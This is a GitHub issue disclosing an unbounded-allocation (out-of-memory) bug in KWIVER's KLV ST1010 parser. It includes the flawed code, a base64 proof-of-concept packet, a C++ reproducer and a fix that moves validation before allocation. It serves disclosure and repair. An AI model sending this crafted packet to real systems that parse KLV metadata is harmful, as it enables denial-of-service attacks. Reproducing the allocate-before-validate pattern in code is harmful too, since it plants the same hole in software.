Skip to content

Unbounded allocation in ST1010 SDCC-FLP matrix size (arrows/klv) #1845

Description

@pventuzelo

ST1010 SDCC-FLP (matrix size) — unbounded allocation

Project: KWIVER — arrows/klv (KLV / MISB motion-imagery metadata parser)
Affected version: master @ af3554f1f (v1.8.0-1260-gaf3554f1f) — current tip
Severity: Medium (OOM DoS, allocate-before-validate)
Location: arrows/klv/klv_1010.cxx — klv_1010_sdcc_flp_format::read_typed
Entry point: kwiver::arrows::klv::klv_read_packet() on untrusted KLV bytes
(e.g. metadata embedded in a MISB motion-imagery stream) — no authentication or
special state required.
Detection: AddressSanitizer

Description

matrix_size is read as a BER-OID and used to size a vector before the
check that bounds it:

auto const matrix_size = klv_read_ber_oid< size_t >( data, tracker.remaining() );
result.members.resize( matrix_size, 0 );                    // huge alloc here ...
if( m_preceding_keys.size() < matrix_size ) VITAL_THROW(...); // ... validated too late

Impact: unbounded allocation from an attacker-controlled size (OOM DoS).

The reader helpers (klv_read_int, klv_read_imap, klv_read_string) do no
buffer-bounds check — they trust the caller to pass a valid length. The safe
pattern used elsewhere in the codebase is tracker.verify(n), which returns n
if n bytes remain in the field and otherwise throws metadata_buffer_overflow.

Proof of concept

Raw KLV packet (261 bytes), base64 — decode with base64 -d:

AQAAAAAkAHoBDgEDAwIAAQMMDAAAAAAGDgEDDAwAAAAABg4rNAILAQEOAQMDIgAAADQHADQCADcA
AAAAAAAAAAAAAAAAADQAAQEOJwEDAwJ+ICAOqampqampBg4AAAAANAIrAQAGDis0AgsBAQ4BAP/+
8dj+/PwCfiAgDgYOAAAAADQCKwEABg4rNAILAQEOAQMBAQAAAAAGDis0AQEBAQ4BAwMBAPcAAEp0
ZU0BA3JpKzP+9P7+8f4ABiBgKyAgDgYOAAAAADQCKwEABg4rNAILAQEOAQMBAQAAAAAGDis0AQEB
AQ4BAwMBAPcAAEp0ZU0BA3JpKzP+9P7+8f4ABiBgKwA0

Reproduction

No fuzzing engine or custom harness required — only the public KLV API and an
AddressSanitizer build of kwiver_algo_klv:

base64 -d poc.b64 > poc.klv          # poc.b64 = the base64 block above
ASAN_OPTIONS=detect_leaks=0 ./repro_klv poc.klv

→ AddressSanitizer: out of memory / requested allocation size … in vector::resize.

Standalone reproducer — repro_klv.cxx (public KLV API only, no fuzzer)
#include <arrows/klv/klv_packet.h>
#include <cstdint>
#include <cstdio>
#include <fstream>
#include <vector>
using namespace kwiver::arrows::klv;

int main( int argc, char** argv )
{
  std::ifstream in( argv[1], std::ios::binary );
  std::vector< uint8_t > buf( ( std::istreambuf_iterator< char >( in ) ),
                              std::istreambuf_iterator< char >() );
  klv_read_iter_t it = buf.data();
  klv_read_iter_t const end = buf.data() + buf.size();
  while( it < end ) {                       // consume as a KLV stream
    klv_read_iter_t const before = it;
    try { (void) klv_read_packet( it, static_cast< size_t >( end - it ) ); }
    catch( std::exception const& e ) { std::printf( "rejected: %s\n", e.what() ); break; }
    if( it <= before ) break;
  }
  return 0;
}

Build against an AddressSanitizer build of kwiver_algo_klv:

clang++ -std=c++17 -g -fsanitize=address repro_klv.cxx \
  -I<kwiver_src> -I<kwiver_build> \
  -L<kwiver_build>/lib -lkwiver_algo_klv -lvital -lvital_logger \
     -lvital_exceptions -lvital_util -lvital_config -lvital_types \
  -Wl,-rpath,<kwiver_build>/lib -o repro_klv

Suggested fix

Move the validation before the allocation (matrix_size can never exceed the
number of preceding keys):

if( m_preceding_keys.size() < matrix_size )
  VITAL_THROW( kv::metadata_exception, "SDCC-FLP: insufficient preceding keys" );
result.members.resize( matrix_size, 0 );

Reported by patrick@fuzzinglabs.com (FuzzingLabs). Reproduced on master
(af3554f1f); the fix above was verified to eliminate the AddressSanitizer
error.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions